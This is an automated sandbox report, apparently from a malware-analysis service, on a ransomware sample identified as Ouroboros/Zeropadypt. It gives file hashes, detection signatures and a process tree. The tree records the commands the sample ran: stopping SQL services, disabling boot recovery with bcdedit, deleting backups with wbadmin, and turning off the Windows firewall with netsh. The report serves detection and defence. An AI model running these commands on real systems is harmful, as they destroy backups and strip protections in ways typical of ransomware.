Analysis

  • max time kernel
    170s
  • max time network
    166s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    02-09-2021 08:11

General

  • Target

    26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe

  • Size

    997KB

  • MD5

    ba454585b9f42c7254c931c192556e08

  • SHA1

    0b530303634283a43d53abd9190106869f57ba5a

  • SHA256

    26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa

  • SHA512

    2cb918eab6776c7cfea031cbb48cc4e33e068489a37f39ba1e246f32fef7a35c3511293b399c81b5b8056bca50d725554866584460f04efe0d65c1d1c625bc4b

Malware Config

Signatures

  • Ouroboros/Zeropadypt

    Ransomware family based on open-source CryptoWire.

  • Modifies Windows Firewall 1 TTPs
  • Drops desktop.ini file(s) 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
    "C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net stop SQLWriter
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1784
      • C:\Windows\SysWOW64\net.exe
        net stop SQLWriter
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop SQLWriter
          4⤵
            PID:3840
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop SQLBrowser
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:748
        • C:\Windows\SysWOW64\net.exe
          net stop SQLBrowser
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop SQLBrowser
            4⤵
              PID:2196
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2280
          • C:\Windows\SysWOW64\net.exe
            net stop MSSQLSERVER
            3⤵
              PID:1856
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop MSSQLSERVER
                4⤵
                  PID:2160
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1208
              • C:\Windows\SysWOW64\net.exe
                net stop MSSQL$CONTOSO1
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:432
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                  4⤵
                    PID:3688
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c net stop MSDTC
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:504
                • C:\Windows\SysWOW64\net.exe
                  net stop MSDTC
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:908
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop MSDTC
                    4⤵
                      PID:2796
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                  2⤵
                    PID:3796
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                    2⤵
                      PID:3980
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                      2⤵
                        PID:3676
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2080
                        • C:\Windows\SysWOW64\net.exe
                          net stop SQLSERVERAGENT
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2240
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop SQLSERVERAGENT
                            4⤵
                              PID:1536
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2060
                          • C:\Windows\SysWOW64\net.exe
                            net stop MSSQLSERVER
                            3⤵
                              PID:1792
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop MSSQLSERVER
                                4⤵
                                  PID:1856
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c net stop vds
                              2⤵
                                PID:2280
                                • C:\Windows\SysWOW64\net.exe
                                  net stop vds
                                  3⤵
                                    PID:3936
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 stop vds
                                      4⤵
                                        PID:3792
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                    2⤵
                                      PID:3928
                                      • C:\Windows\SysWOW64\netsh.exe
                                        netsh advfirewall set currentprofile state off
                                        3⤵
                                          PID:2832
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                                        2⤵
                                          PID:656
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh firewall set opmode mode=disable
                                            3⤵
                                              PID:2844

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

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                                        Downloads

                                        • memory/432-124-0x0000000000000000-mapping.dmp

                                        • memory/504-126-0x0000000000000000-mapping.dmp

                                        • memory/656-143-0x0000000000000000-mapping.dmp

                                        • memory/748-118-0x0000000000000000-mapping.dmp

                                        • memory/908-127-0x0000000000000000-mapping.dmp

                                        • memory/1208-123-0x0000000000000000-mapping.dmp

                                        • memory/1536-119-0x0000000000000000-mapping.dmp

                                        • memory/1536-134-0x0000000000000000-mapping.dmp

                                        • memory/1784-115-0x0000000000000000-mapping.dmp

                                        • memory/1792-136-0x0000000000000000-mapping.dmp

                                        • memory/1856-122-0x0000000000000000-mapping.dmp

                                        • memory/1856-137-0x0000000000000000-mapping.dmp

                                        • memory/2060-135-0x0000000000000000-mapping.dmp

                                        • memory/2080-132-0x0000000000000000-mapping.dmp

                                        • memory/2196-120-0x0000000000000000-mapping.dmp

                                        • memory/2240-133-0x0000000000000000-mapping.dmp

                                        • memory/2280-138-0x0000000000000000-mapping.dmp

                                        • memory/2280-121-0x0000000000000000-mapping.dmp

                                        • memory/2796-128-0x0000000000000000-mapping.dmp

                                        • memory/2828-116-0x0000000000000000-mapping.dmp

                                        • memory/2832-142-0x0000000000000000-mapping.dmp

                                        • memory/2844-144-0x0000000000000000-mapping.dmp

                                        • memory/3676-131-0x0000000000000000-mapping.dmp

                                        • memory/3688-125-0x0000000000000000-mapping.dmp

                                        • memory/3792-140-0x0000000000000000-mapping.dmp

                                        • memory/3796-129-0x0000000000000000-mapping.dmp

                                        • memory/3840-117-0x0000000000000000-mapping.dmp

                                        • memory/3928-141-0x0000000000000000-mapping.dmp

                                        • memory/3936-139-0x0000000000000000-mapping.dmp

                                        • memory/3980-130-0x0000000000000000-mapping.dmp